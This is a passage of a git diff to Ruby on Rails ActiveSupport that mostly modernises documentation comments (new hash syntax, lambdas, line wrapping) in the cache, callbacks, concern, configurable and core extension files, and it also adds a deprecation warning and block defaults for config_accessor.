@@ -131,14 +131,13 @@ module ActiveSupport
# is a Proc, it will be invoked when each key is evaluated so that you can
# use application logic to invalidate keys.
#
- # cache.namespace = lambda { @last_mod_time } # Set the namespace to a variable
+ # cache.namespace = -> { @last_mod_time } # Set the namespace to a variable
# @last_mod_time = Time.now # Invalidate the entire cache by changing namespace
#
- #
# Caches can also store values in a compressed format to save space and
# reduce time spent sending data. Since there is overhead, values must be
# large enough to warrant compression. To turn on compression either pass
- # <tt>:compress => true</tt> in the initializer or as an option to +fetch+
+ # <tt>compress: true</tt> in the initializer or as an option to +fetch+
# or +write+. To specify the threshold at which to compress values, set the
# <tt>:compress_threshold</tt> option. The default threshold is 16K.
class Store
@@ -148,8 +147,9 @@ module ActiveSupport
attr_reader :silence, :options
alias :silence? :silence
- # Create a new cache. The options will be passed to any write method calls except
- # for :namespace which can be used to set the global namespace for the cache.
+ # Create a new cache. The options will be passed to any write method calls
+ # except for <tt>:namespace</tt> which can be used to set the global
+ # namespace for the cache.
def initialize(options = nil)
@options = options ? options.dup : {}
end
@@ -168,7 +168,8 @@ module ActiveSupport
@silence = previous_silence
end
- # Set to true if cache stores should be instrumented. Default is false.
+ # Set to +true+ if cache stores should be instrumented.
+ # Default is +false+.
def self.instrument=(boolean)
Thread.current[:instrument_cache_store] = boolean
end
@@ -180,95 +181,97 @@ module ActiveSupport
# Fetches data from the cache, using the given key. If there is data in
# the cache with the given key, then that data is returned.
#
- # If there is no such data in the cache (a cache miss), then nil will be
+ # If there is no such data in the cache (a cache miss), then +nil+ will be
# returned. However, if a block has been passed, that block will be run
# in the event of a cache miss. The return value of the block will be
# written to the cache under the given cache key, and that return value
# will be returned.
#
- # cache.write("today", "Monday")
- # cache.fetch("today") # => "Monday"
+ # cache.write('today', 'Monday')
+ # cache.fetch('today') # => "Monday"
#
- # cache.fetch("city") # => nil
- # cache.fetch("city") do
- # "Duckburgh"
+ # cache.fetch('city') # => nil
+ # cache.fetch('city') do
+ # 'Duckburgh'
# end
- # cache.fetch("city") # => "Duckburgh"
+ # cache.fetch('city') # => "Duckburgh"
#
# You may also specify additional options via the +options+ argument.
- # Setting <tt>:force => true</tt> will force a cache miss:
+ # Setting <tt>force: true</tt> will force a cache miss:
#
- # cache.write("today", "Monday")
- # cache.fetch("today", :force => true) # => nil
+ # cache.write('today', 'Monday')
+ # cache.fetch('today', force: true) # => nil
#
# Setting <tt>:compress</tt> will store a large cache entry set by the call
# in a compressed format.
#
- #
# Setting <tt>:expires_in</tt> will set an expiration time on the cache.
# All caches support auto-expiring content after a specified number of
# seconds. This value can be specified as an option to the constructor
# (in which case all entries will be affected), or it can be supplied to
# the +fetch+ or +write+ method to effect just one entry.
#
- # cache = ActiveSupport::Cache::MemoryStore.new(:expires_in => 5.minutes)
- # cache.write(key, value, :expires_in => 1.minute) # Set a lower value for one entry
- #
- # Setting <tt>:race_condition_ttl</tt> is very useful in situations where a cache entry
- # is used very frequently and is under heavy load. If a cache expires and due to heavy load
- # seven different processes will try to read data natively and then they all will try to
- # write to cache. To avoid that case the first process to find an expired cache entry will
- # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>. Yes
- # this process is extending the time for a stale value by another few seconds. Because
- # of extended life of the previous cache, other processes will continue to use slightly
- # stale data for a just a big longer. In the meantime that first process will go ahead
- # and will write into cache the new value. After that all the processes will start
- # getting new value. The key is to keep <tt>:race_condition_ttl</tt> small.
- #
- # If the process regenerating the entry errors out, the entry will be regenerated
- # after the specified number of seconds. Also note that the life of stale cache is
- # extended only if it expired recently. Otherwise a new value is generated and
- # <tt>:race_condition_ttl</tt> does not play any role.
+ # cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
+ # cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
+ #
+ # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
+ # a cache entry is used very frequently and is under heavy load. If a
+ # cache expires and due to heavy load seven different processes will try
+ # to read data natively and then they all will try to write to cache. To
+ # avoid that case the first process to find an expired cache entry will
+ # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
+ # Yes, this process is extending the time for a stale value by another few
+ # seconds. Because of extended life of the previous cache, other processes
+ # will continue to use slightly stale data for a just a big longer. In the
+ # meantime that first process will go ahead and will write into cache the
+ # new value. After that all the processes will start getting new value.
+ # The key is to keep <tt>:race_condition_ttl</tt> small.
+ #
+ # If the process regenerating the entry errors out, the entry will be
+ # regenerated after the specified number of seconds. Also note that the
+ # life of stale cache is extended only if it expired recently. Otherwise
+ # a new value is generated and <tt>:race_condition_ttl</tt> does not play
+ # any role.
#
# # Set all values to expire after one minute.
- # cache = ActiveSupport::Cache::MemoryStore.new(:expires_in => 1.minute)
+ # cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1.minute)
#
- # cache.write("foo", "original value")
+ # cache.write('foo', 'original value')
# val_1 = nil
# val_2 = nil
# sleep 60
#
# Thread.new do
- # val_1 = cache.fetch("foo", :race_condition_ttl => 10) do
+ # val_1 = cache.fetch('foo', race_condition_ttl: 10) do
# sleep 1
- # "new value 1"
+ # 'new value 1'
# end
# end
#
# Thread.new do
- # val_2 = cache.fetch("foo", :race_condition_ttl => 10) do
- # "new value 2"
+ # val_2 = cache.fetch('foo', race_condition_ttl: 10) do
+ # 'new value 2'
# end
# end
#
# # val_1 => "new value 1"
# # val_2 => "original value"
# # sleep 10 # First thread extend the life of cache by another 10 seconds
- # # cache.fetch("foo") => "new value 1"
+ # # cache.fetch('foo') => "new value 1"
#
# Other options will be handled by the specific cache store implementation.
- # Internally, #fetch calls #read_entry, and calls #write_entry on a cache miss.
- # +options+ will be passed to the #read and #write calls.
+ # Internally, #fetch calls #read_entry, and calls #write_entry on a cache
+ # miss. +options+ will be passed to the #read and #write calls.
#
# For example, MemCacheStore's #write method supports the +:raw+
# option, which tells the memcached server to store all values as strings.
# We can use this option with #fetch too:
#
# cache = ActiveSupport::Cache::MemCacheStore.new
- # cache.fetch("foo", :force => true, :raw => true) do
+ # cache.fetch("foo", force: true, raw: true) do
# :bar
# end
- # cache.fetch("foo") # => "bar"
+ # cache.fetch('foo') # => "bar"
def fetch(name, options = nil)
if block_given?
options = merged_options(options)
@@ -307,7 +310,7 @@ module ActiveSupport
# Fetches data from the cache, using the given key. If there is data in
# the cache with the given key, then that data is returned. Otherwise,
- # nil is returned.
+ # +nil+ is returned.
#
# Options are passed to the underlying cache implementation.
def read(name, options = nil)
@@ -376,7 +379,7 @@ module ActiveSupport
end
end
- # Return true if the cache contains an entry for the given key.
+ # Return +true+ if the cache contains an entry for the given key.
#
# Options are passed to the underlying cache implementation.
def exist?(name, options = nil)
@@ -434,9 +437,10 @@ module ActiveSupport
end
protected
- # Add the namespace defined in the options to a pattern designed to match keys.
- # Implementations that support delete_matched should call this method to translate
- # a pattern that matches names into one that matches namespaced keys.
+ # Add the namespace defined in the options to a pattern designed to
+ # match keys. Implementations that support delete_matched should call
+ # this method to translate a pattern that matches names into one that
+ # matches namespaced keys.
def key_matcher(pattern, options)
prefix = options[:namespace].is_a?(Proc) ? options[:namespace].call : options[:namespace]
if prefix
@@ -452,17 +456,20 @@ module ActiveSupport
end
end
- # Read an entry from the cache implementation. Subclasses must implement this method.
+ # Read an entry from the cache implementation. Subclasses must implement
+ # this method.
def read_entry(key, options) # :nodoc:
raise NotImplementedError.new
end
- # Write an entry to the cache implementation. Subclasses must implement this method.
+ # Write an entry to the cache implementation. Subclasses must implement
+ # this method.
def write_entry(key, entry, options) # :nodoc:
raise NotImplementedError.new
end
- # Delete an entry from the cache implementation. Subclasses must implement this method.
+ # Delete an entry from the cache implementation. Subclasses must
+ # implement this method.
def delete_entry(key, options) # :nodoc:
raise NotImplementedError.new
end
@@ -478,7 +485,7 @@ module ActiveSupport
end
# Expand key to be a consistent string value. Invoke +cache_key+ if
- # object responds to +cache_key+. Otherwise, to_param method will be
+ # object responds to +cache_key+. Otherwise, +to_param+ method will be
# called. If the key is a Hash, then keys will be sorted alphabetically.
def expanded_key(key) # :nodoc:
return key.cache_key.to_s if key.respond_to?(:cache_key)
@@ -497,7 +504,8 @@ module ActiveSupport
key.to_param
end
- # Prefix a key with the namespace. Namespace and key will be delimited with a colon.
+ # Prefix a key with the namespace. Namespace and key will be delimited
+ # with a colon.
def namespaced_key(key, options)
key = expanded_key(key)
namespace = options[:namespace] if options
@@ -524,17 +532,17 @@ module ActiveSupport
end
end
- # Entry that is put into caches. It supports expiration time on entries and can compress values
- # to save space in the cache.
+ # Entry that is put into caches. It supports expiration time on entries and
+ # can compress values to save space in the cache.
class Entry
attr_reader :created_at, :expires_in
DEFAULT_COMPRESS_LIMIT = 16.kilobytes
class << self
- # Create an entry with internal attributes set. This method is intended to be
- # used by implementations that store cache entries in a native format instead
- # of as serialized Ruby objects.
+ # Create an entry with internal attributes set. This method is intended
+ # to be used by implementations that store cache entries in a native
+ # format instead of as serialized Ruby objects.
def create(raw_value, created_at, options = {})
entry = new(nil)
entry.instance_variable_set(:@value, raw_value)
@@ -582,8 +590,8 @@ module ActiveSupport
@compressed
end
- # Check if the entry is expired. The +expires_in+ parameter can override the
- # value set when the entry was created.
+ # Check if the entry is expired. The +expires_in+ parameter can override
+ # the value set when the entry was created.
def expired?
@expires_in && @created_at + @expires_in <= Time.now.to_f
end
@@ -602,8 +610,8 @@ module ActiveSupport
@expires_in ? @created_at + @expires_in : nil
end
- # Returns the size of the cached value. This could be less than value.size
- # if the data is compressed.
+ # Returns the size of the cached value. This could be less than
+ # <tt>value.size</tt> if the data is compressed.
def size
if @value.nil?
0
diff --git a/activesupport/lib/active_support/callbacks.rb b/activesupport/lib/active_support/callbacks.rb
index 3f7d0e401a..a02793bde9 100644
--- a/activesupport/lib/active_support/callbacks.rb
+++ b/activesupport/lib/active_support/callbacks.rb
@@ -5,22 +5,24 @@ require 'active_support/core_ext/kernel/reporting'
require 'active_support/core_ext/kernel/singleton_class'
module ActiveSupport
- # \Callbacks are code hooks that are run at key points in an object's lifecycle.
- # The typical use case is to have a base class define a set of callbacks relevant
- # to the other functionality it supplies, so that subclasses can install callbacks
- # that enhance or modify the base functionality without needing to override
- # or redefine methods of the base class.
+ # Callbacks are code hooks that are run at key points in an object's lifecycle.
+ # The typical use case is to have a base class define a set of callbacks
+ # relevant to the other functionality it supplies, so that subclasses can
+ # install callbacks that enhance or modify the base functionality without
+ # needing to override or redefine methods of the base class.
#
- # Mixing in this module allows you to define the events in the object's lifecycle
- # that will support callbacks (via +ClassMethods.define_callbacks+), set the instance
- # methods, procs, or callback objects to be called (via +ClassMethods.set_callback+),
- # and run the installed callbacks at the appropriate times (via +run_callbacks+).
+ # Mixing in this module allows you to define the events in the object's
+ # lifecycle that will support callbacks (via +ClassMethods.define_callbacks+),
+ # set the instance methods, procs, or callback objects to be called (via
+ # +ClassMethods.set_callback+), and run the installed callbacks at the
+ # appropriate times (via +run_callbacks+).
#
- # Three kinds of callbacks are supported: before callbacks, run before a certain event;
- # after callbacks, run after the event; and around callbacks, blocks that surround the
- # event, triggering it when they yield. Callback code can be contained in instance
- # methods, procs or lambdas, or callback objects that respond to certain predetermined
- # methods. See +ClassMethods.set_callback+ for details.
+ # Three kinds of callbacks are supported: before callbacks, run before a
+ # certain event; after callbacks, run after the event; and around callbacks,
+ # blocks that surround the event, triggering it when they yield. Callback code
+ # can be contained in instance methods, procs or lambdas, or callback objects
+ # that respond to certain predetermined methods. See +ClassMethods.set_callback+
+ # for details.
#
# class Record
# include ActiveSupport::Callbacks
@@ -61,10 +63,11 @@ module ActiveSupport
# Runs the callbacks for the given event.
#
# Calls the before and around callbacks in the order they were set, yields
- # the block (if given one), and then runs the after callbacks in reverse order.
+ # the block (if given one), and then runs the after callbacks in reverse
+ # order.
#
- # If the callback chain was halted, returns +false+. Otherwise returns the result
- # of the block, or +true+ if no block is given.
+ # If the callback chain was halted, returns +false+. Otherwise returns the
+ # result of the block, or +true+ if no block is given.
#
# run_callbacks :save do
# save
@@ -182,17 +185,17 @@ module ActiveSupport
# Compile around filters with conditions into proxy methods
# that contain the conditions.
#
- # For `set_callback :save, :around, :filter_name, :if => :condition':
+ # For `set_callback :save, :around, :filter_name, if: :condition':
#
- # def _conditional_callback_save_17
- # if condition
- # filter_name do
+ # def _conditional_callback_save_17
+ # if condition
+ # filter_name do
+ # yield self
+ # end
+ # else
# yield self
# end
- # else
- # yield self
# end
- # end
def define_conditional_callback
name = "_conditional_callback_#{@kind}_#{next_id}"
@klass.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
@@ -211,7 +214,7 @@ module ActiveSupport
# Options support the same options as filters themselves (and support
# symbols, string, procs, and objects), so compile a conditional
- # expression based on the options
+ # expression based on the options.
def recompile_options!
conditions = ["true"]
@@ -230,19 +233,19 @@ module ActiveSupport
#
# Arrays:: Used in conditions. This is used to specify
# multiple conditions. Used internally to
- # merge conditions from skip_* filters
- # Symbols:: A method to call
- # Strings:: Some content to evaluate
- # Procs:: A proc to call with the object
- # Objects:: An object with a before_foo method on it to call
+ # merge conditions from skip_* filters.
+ # Symbols:: A method to call.
+ # Strings:: Some content to evaluate.
+ # Procs:: A proc to call with the object.
+ # Objects:: An object with a <tt>before_foo</tt> method on it to call.
#
# All of these objects are compiled into methods and handled
# the same after this point:
#
- # Arrays:: Merged together into a single filter
- # Symbols:: Already methods
- # Strings:: class_eval'ed into methods
- # Procs:: define_method'ed into methods
+ # Arrays:: Merged together into a single filter.
+ # Symbols:: Already methods.
+ # Strings:: class_eval'ed into methods.
+ # Procs:: define_method'ed into methods.
# Objects::
# a method is created that calls the before_foo method
# on the object.
@@ -279,6 +282,7 @@ module ActiveSupport
def _normalize_legacy_filter(kind, filter)
if !filter.respond_to?(kind) && filter.respond_to?(:filter)
+ ActiveSupport::Deprecation.warn("Filter object with #filter method is deprecated. Define method corresponding to filter type (#before, #after or #around).")
filter.singleton_class.class_eval <<-RUBY_EVAL, __FILE__, __LINE__ + 1
def #{kind}(context, &block) filter(context, &block) end
RUBY_EVAL
@@ -293,7 +297,7 @@ module ActiveSupport
end
end
- # An Array with a compile method
+ # An Array with a compile method.
class CallbackChain < Array #:nodoc:#
attr_reader :name, :config
@@ -350,7 +354,6 @@ module ActiveSupport
# This is used internally to append, prepend and skip callbacks to the
# CallbackChain.
- #
def __update_callbacks(name, filters = [], block = nil) #:nodoc:
type = [:before, :after, :around].include?(filters.first) ? filters.shift : :before
options = filters.last.is_a?(Hash) ? filters.pop : {}
@@ -366,8 +369,8 @@ module ActiveSupport
# Install a callback for the given event.
#
# set_callback :save, :before, :before_meth
- # set_callback :save, :after, :after_meth, :if => :condition
- # set_callback :save, :around, lambda { |r| stuff; result = yield; stuff }
+ # set_callback :save, :after, :after_meth, if: :condition
+ # set_callback :save, :around, ->(r, &block) { stuff; result = block.call; stuff }
#
# The second arguments indicates whether the callback is to be run +:before+,
# +:after+, or +:around+ the event. If omitted, +:before+ is assumed. This
@@ -375,29 +378,29 @@ module ActiveSupport
#
# set_callback :save, :before_meth
#
- # The callback can specified as a symbol naming an instance method; as a proc,
- # lambda, or block; as a string to be instance evaluated; or as an object that
- # responds to a certain method determined by the <tt>:scope</tt> argument to
- # +define_callback+.
+ # The callback can specified as a symbol naming an instance method; as a
+ # proc, lambda, or block; as a string to be instance evaluated; or as an
+ # object that responds to a certain method determined by the <tt>:scope</tt>
+ # argument to +define_callback+.
#
# If a proc, lambda, or block is given, its body is evaluated in the context
# of the current object. It can also optionally accept the current object as
# an argument.
#
- # Before and around callbacks are called in the order that they are set; after
- # callbacks are called in the reverse order.
- #
+ # Before and around callbacks are called in the order that they are set;
+ # after callbacks are called in the reverse order.
+ #
# Around callbacks can access the return value from the event, if it
# wasn't halted, from the +yield+ call.
#
# ===== Options
#
- # * <tt>:if</tt> - A symbol naming an instance method or a proc; the callback
- # will be called only when it returns a true value.
- # * <tt>:unless</tt> - A symbol naming an instance method or a proc; the callback
- # will be called only when it returns a false value.
- # * <tt>:prepend</tt> - If true, the callback will be prepended to the existing
- # chain rather than appended.
+ # * <tt>:if</tt> - A symbol naming an instance method or a proc; the
+ # callback will be called only when it returns a +true+ value.
+ # * <tt>:unless</tt> - A symbol naming an instance method or a proc; the
+ # callback will be called only when it returns a +false+ value.
+ # * <tt>:prepend</tt> - If +true+, the callback will be prepended to the
+ # existing chain rather than appended.
def set_callback(name, *filter_list, &block)
mapped = nil
@@ -416,11 +419,12 @@ module ActiveSupport
end
end
- # Skip a previously set callback. Like +set_callback+, <tt>:if</tt> or <tt>:unless</tt>
- # options may be passed in order to control when the callback is skipped.
+ # Skip a previously set callback. Like +set_callback+, <tt>:if</tt> or
+ # <tt>:unless</tt> options may be passed in order to control when the
+ # callback is skipped.
#
# class Writer < Person
- # skip_callback :validate, :before, :check_membership, :if => lambda { self.age > 18 }
+ # skip_callback :validate, :before, :check_membership, if: -> { self.age > 18 }
# end
def skip_callback(name, *filter_list, &block)
__update_callbacks(name, filter_list, block) do |target, chain, type, filters, options|
@@ -462,24 +466,25 @@ module ActiveSupport
#
# ===== Options
#
- # * <tt>:terminator</tt> - Determines when a before filter will halt the callback
- # chain, preventing following callbacks from being called and the event from being
- # triggered. This is a string to be eval'ed. The result of the callback is available
- # in the <tt>result</tt> variable.
+ # * <tt>:terminator</tt> - Determines when a before filter will halt the
+ # callback chain, preventing following callbacks from being called and
+ # the event from being triggered. This is a string to be eval'ed. The
+ # result of the callback is available in the +result+ variable.
#
- # define_callbacks :validate, :terminator => "result == false"
+ # define_callbacks :validate, terminator: 'result == false'
#
# In this example, if any before validate callbacks returns +false+,
- # other callbacks are not executed. Defaults to "false", meaning no value
+ # other callbacks are not executed. Defaults to +false+, meaning no value
# halts the chain.
#
- # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after callbacks should be terminated
- # by the <tt>:terminator</tt> option. By default after callbacks executed no matter
- # if callback chain was terminated or not.
- # Option makes sence only when <tt>:terminator</tt> option is specified.
+ # * <tt>:skip_after_callbacks_if_terminated</tt> - Determines if after
+ # callbacks should be terminated by the <tt>:terminator</tt> option. By
+ # default after callbacks executed no matter if callback chain was
+ # terminated or not. Option makes sense only when <tt>:terminator</tt>
+ # option is specified.
#
- # * <tt>:scope</tt> - Indicates which methods should be executed when an object
- # is used as a callback.
+ # * <tt>:scope</tt> - Indicates which methods should be executed when an
+ # object is used as a callback.
#
# class Audit
# def before(caller)
@@ -504,20 +509,21 @@ module ActiveSupport
# end
# end
#
- # In the above case whenever you save an account the method <tt>Audit#before</tt> will
- # be called. On the other hand
+ # In the above case whenever you save an account the method
+ # <tt>Audit#before</tt> will be called. On the other hand
#
- # define_callbacks :save, :scope => [:kind, :name]
+ # define_callbacks :save, scope: [:kind, :name]
#
- # would trigger <tt>Audit#before_save</tt> instead. That's constructed by calling
- # <tt>#{kind}_#{name}</tt> on the given instance. In this case "kind" is "before" and
- # "name" is "save". In this context +:kind+ and +:name+ have special meanings: +:kind+
- # refers to the kind of callback (before/after/around) and +:name+ refers to the
- # method on which callbacks are being defined.
+ # would trigger <tt>Audit#before_save</tt> instead. That's constructed
+ # by calling <tt>#{kind}_#{name}</tt> on the given instance. In this
+ # case "kind" is "before" and "name" is "save". In this context +:kind+
+ # and +:name+ have special meanings: +:kind+ refers to the kind of
+ # callback (before/after/around) and +:name+ refers to the method on
+ # which callbacks are being defined.
#
# A declaration like
#
- # define_callbacks :save, :scope => [:name]
+ # define_callbacks :save, scope: [:name]
#
# would call <tt>Audit#save</tt>.
def define_callbacks(*callbacks)
diff --git a/activesupport/lib/active_support/concern.rb b/activesupport/lib/active_support/concern.rb
index b927b58a9a..fb7065ef3b 100644
--- a/activesupport/lib/active_support/concern.rb
+++ b/activesupport/lib/active_support/concern.rb
@@ -4,7 +4,7 @@ module ActiveSupport
# module M
# def self.included(base)
# base.extend ClassMethods
- # scope :disabled, where(:disabled => true)
+ # scope :disabled, -> { where(disabled: true) }
# end
#
# module ClassMethods
@@ -12,7 +12,8 @@ module ActiveSupport
# end
# end
#
- # By using <tt>ActiveSupport::Concern</tt> the above module could instead be written as:
+ # By using <tt>ActiveSupport::Concern</tt> the above module could instead be
+ # written as:
#
# require 'active_support/concern'
#
@@ -20,7 +21,7 @@ module ActiveSupport
# extend ActiveSupport::Concern
#
# included do
- # scope :disabled, where(:disabled => true)
+ # scope :disabled, -> { where(disabled: true) }
# end
#
# module ClassMethods
@@ -28,8 +29,9 @@ module ActiveSupport
# end
# end
#
- # Moreover, it gracefully handles module dependencies. Given a +Foo+ module and a +Bar+
- # module which depends on the former, we would typically write the following:
+ # Moreover, it gracefully handles module dependencies. Given a +Foo+ module
+ # and a +Bar+ module which depends on the former, we would typically write the
+ # following:
#
# module Foo
# def self.included(base)
@@ -52,8 +54,8 @@ module ActiveSupport
# include Bar # Bar is the module that Host really needs
# end
#
- # But why should +Host+ care about +Bar+'s dependencies, namely +Foo+? We could try to hide
- # these from +Host+ directly including +Foo+ in +Bar+:
+ # But why should +Host+ care about +Bar+'s dependencies, namely +Foo+? We
+ # could try to hide these from +Host+ directly including +Foo+ in +Bar+:
#
# module Bar
# include Foo
@@ -66,8 +68,9 @@ module ActiveSupport
# include Bar
# end
#
- # Unfortunately this won't work, since when +Foo+ is included, its <tt>base</tt> is the +Bar+ module,
- # not the +Host+ class. With <tt>ActiveSupport::Concern</tt>, module dependencies are properly resolved:
+ # Unfortunately this won't work, since when +Foo+ is included, its <tt>base</tt>
+ # is the +Bar+ module, not the +Host+ class. With <tt>ActiveSupport::Concern</tt>,
+ # module dependencies are properly resolved:
#
# require 'active_support/concern'
#
diff --git a/activesupport/lib/active_support/configurable.rb b/activesupport/lib/active_support/configurable.rb
index 307ae40398..16d2a6a290 100644
--- a/activesupport/lib/active_support/configurable.rb
+++ b/activesupport/lib/active_support/configurable.rb
@@ -13,7 +13,7 @@ module ActiveSupport
self.class.compile_methods!(keys)
end
- # compiles reader methods so we don't have to go through method_missing
+ # Compiles reader methods so we don't have to go through method_missing.
def self.compile_methods!(keys)
keys.reject { |m| method_defined?(m) }.each do |key|
class_eval <<-RUBY, __FILE__, __LINE__ + 1
@@ -39,7 +39,7 @@ module ActiveSupport
# Allows you to add shortcut so that you don't have to refer to attribute
# through config. Also look at the example for config to contrast.
- #
+ #
# Defines both class and instance config accessors.
#
# class User
@@ -47,16 +47,16 @@ module ActiveSupport
# config_accessor :allowed_access
# end
#
- # User.allowed_access # => nil
+ # User.allowed_access # => nil
# User.allowed_access = false
- # User.allowed_access # => false
- #
+ # User.allowed_access # => false
+ #
# user = User.new
# user.allowed_access # => false
# user.allowed_access = true
# user.allowed_access # => true
#
- # User.allowed_access # => false
+ # User.allowed_access # => false
#
# The attribute name must be a valid method name in Ruby.
#
@@ -91,7 +91,18 @@ module ActiveSupport
#  User.allowed_access # => false
#
# User.new.allowed_access = true # => NoMethodError
- # User.new.allowed_access # => NoMethodError
+ # User.new.allowed_access # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # class User
+ # include ActiveSupport::Configurable
+ # config_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # User.hair_colors # => [:brown, :black, :blonde, :red]
def config_accessor(*names)
options = names.extract_options!
@@ -108,6 +119,7 @@ module ActiveSupport
class_eval reader, __FILE__, reader_line unless options[:instance_reader] == false
class_eval writer, __FILE__, writer_line unless options[:instance_writer] == false
end
+ send("#{name}=", yield) if block_given?
end
end
end
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index d6ae031c0d..7f37c459c1 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -142,7 +142,7 @@ class Array
#
# Otherwise the root element is "objects":
#
- # [{:foo => 1, :bar => 2}, {:baz => 3}].to_xml
+ # [{ foo: 1, bar: 2}, { baz: 3}].to_xml
#
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
@@ -164,7 +164,7 @@ class Array
#
# To ensure a meaningful root element use the <tt>:root</tt> option:
#
- # customer_with_no_projects.projects.to_xml(:root => "projects")
+ # customer_with_no_projects.projects.to_xml(root: 'projects')
#
# <?xml version="1.0" encoding="UTF-8"?>
# <projects type="array"/>
@@ -174,7 +174,7 @@ class Array
#
# The +options+ hash is passed downwards:
#
- # Message.all.to_xml(:skip_types => true)
+ # Message.all.to_xml(skip_types: true)
#
# <?xml version="1.0" encoding="UTF-8"?>
# <messages>
diff --git a/activesupport/lib/active_support/core_ext/array/extract_options.rb b/activesupport/lib/active_support/core_ext/array/extract_options.rb
index 40ceb3eb9e..9008a0df2a 100644
--- a/activesupport/lib/active_support/core_ext/array/extract_options.rb
+++ b/activesupport/lib/active_support/core_ext/array/extract_options.rb
@@ -17,8 +17,8 @@ class Array
# args.extract_options!
# end
#
- # options(1, 2) # => {}
- # options(1, 2, :a => :b) # => {:a=>:b}
+ # options(1, 2) # => {}
+ # options(1, 2, a: :b) # => {:a=>:b}
def extract_options!
if last.is_a?(Hash) && last.extractable_options?
pop
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index a184eb492a..f79b100b3b 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -83,8 +83,8 @@ class Array
# Divides the array into one or more subarrays based on a delimiting +value+
# or the result of an optional block.
#
- # [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]]
- # (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
+ # [1, 2, 3, 4, 5].split(3) # => [[1, 2], [4, 5]]
+ # (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
def split(value = nil, &block)
inject([[]]) do |results, element|
if block && block.call(element) || value == element
diff --git a/activesupport/lib/active_support/core_ext/array/uniq_by.rb b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
index 3bedfa9a61..c1d5a355a4 100644
--- a/activesupport/lib/active_support/core_ext/array/uniq_by.rb
+++ b/activesupport/lib/active_support/core_ext/array/uniq_by.rb
@@ -4,7 +4,6 @@ class Array
# Returns a unique array based on the criteria in the block.
#
# [1, 2, 3, 4].uniq_by { |i| i.odd? } # => [1, 2]
- #
def uniq_by(&block)
ActiveSupport::Deprecation.warn 'uniq_by is deprecated. Use Array#uniq instead', caller
uniq(&block)
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
index 9ea93d7226..7bf28b2f27 100644
--- a/activesupport/lib/active_support/core_ext/array/wrap.rb
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -7,32 +7,33 @@ class Array
# * Otherwise, if the argument responds to +to_ary+ it is invoked, and its result returned.
# * Otherwise, returns an array with the argument as its single element.
#
- # Array.wrap(nil) # => []
- # Array.wrap([1, 2, 3]) # => [1, 2, 3]
- # Array.wrap(0) # => [0]
+ # Array.wrap(nil) # => []
+ # Array.wrap([1, 2, 3]) # => [1, 2, 3]
+ # Array.wrap(0) # => [0]
#
# This method is similar in purpose to <tt>Kernel#Array</tt>, but there are some differences:
#
# * If the argument responds to +to_ary+ the method is invoked. <tt>Kernel#Array</tt>
- # moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns
- # such a +nil+ right away.
+ # moves on to try +to_a+ if the returned value is +nil+, but <tt>Array.wrap</tt> returns
+ # such a +nil+ right away.
# * If the returned value from +to_ary+ is neither +nil+ nor an +Array+ object, <tt>Kernel#Array</tt>
- # raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
+ # raises an exception, while <tt>Array.wrap</tt> does not, it just returns the value.
# * It does not call +to_a+ on the argument, though special-cases +nil+ to return an empty array.
#
# The last point is particularly worth comparing for some enumerables:
#
- # Array(:foo => :bar) # => [[:foo, :bar]]
- # Array.wrap(:foo => :bar) # => [{:foo => :bar}]
+ # Array(foo: :bar) # => [[:foo, :bar]]
+ # Array.wrap(foo: :bar) # => [{:foo => :bar}]
#
# There's also a related idiom that uses the splat operator:
#
# [*object]
#
- # which returns <tt>[nil]</tt> for +nil+, and calls to <tt>Array(object)</tt> otherwise.
+ # which for +nil+ returns <tt>[nil]</tt> (Ruby 1.8.7) or <tt>[]</tt> (Ruby
+ # 1.9), and calls to <tt>Array(object)</tt> otherwise.
#
- # Thus, in this case the behavior is different for +nil+, and the differences with
- # <tt>Kernel#Array</tt> explained above apply to the rest of +object+s.
+ # Thus, in this case the behavior may be different for +nil+, and the differences with
+ # <tt>Kernel#Array</tt> explained above apply to the rest of <tt>object</tt>s.
def self.wrap(object)
if object.nil?
[]
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index 7b6f8ab0a1..1c3d26ead4 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -57,16 +57,16 @@ class Class
# object.setting # => false
# Base.setting # => true
#
- # To opt out of the instance reader method, pass :instance_reader => false.
+ # To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
#
# object.setting # => NoMethodError
# object.setting? # => NoMethodError
#
- # To opt out of the instance writer method, pass :instance_writer => false.
+ # To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
#
# object.setting = false # => NoMethodError
#
- # To opt out of both instance methods, pass :instance_accessor => false.
+ # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
def class_attribute(*attrs)
options = attrs.extract_options!
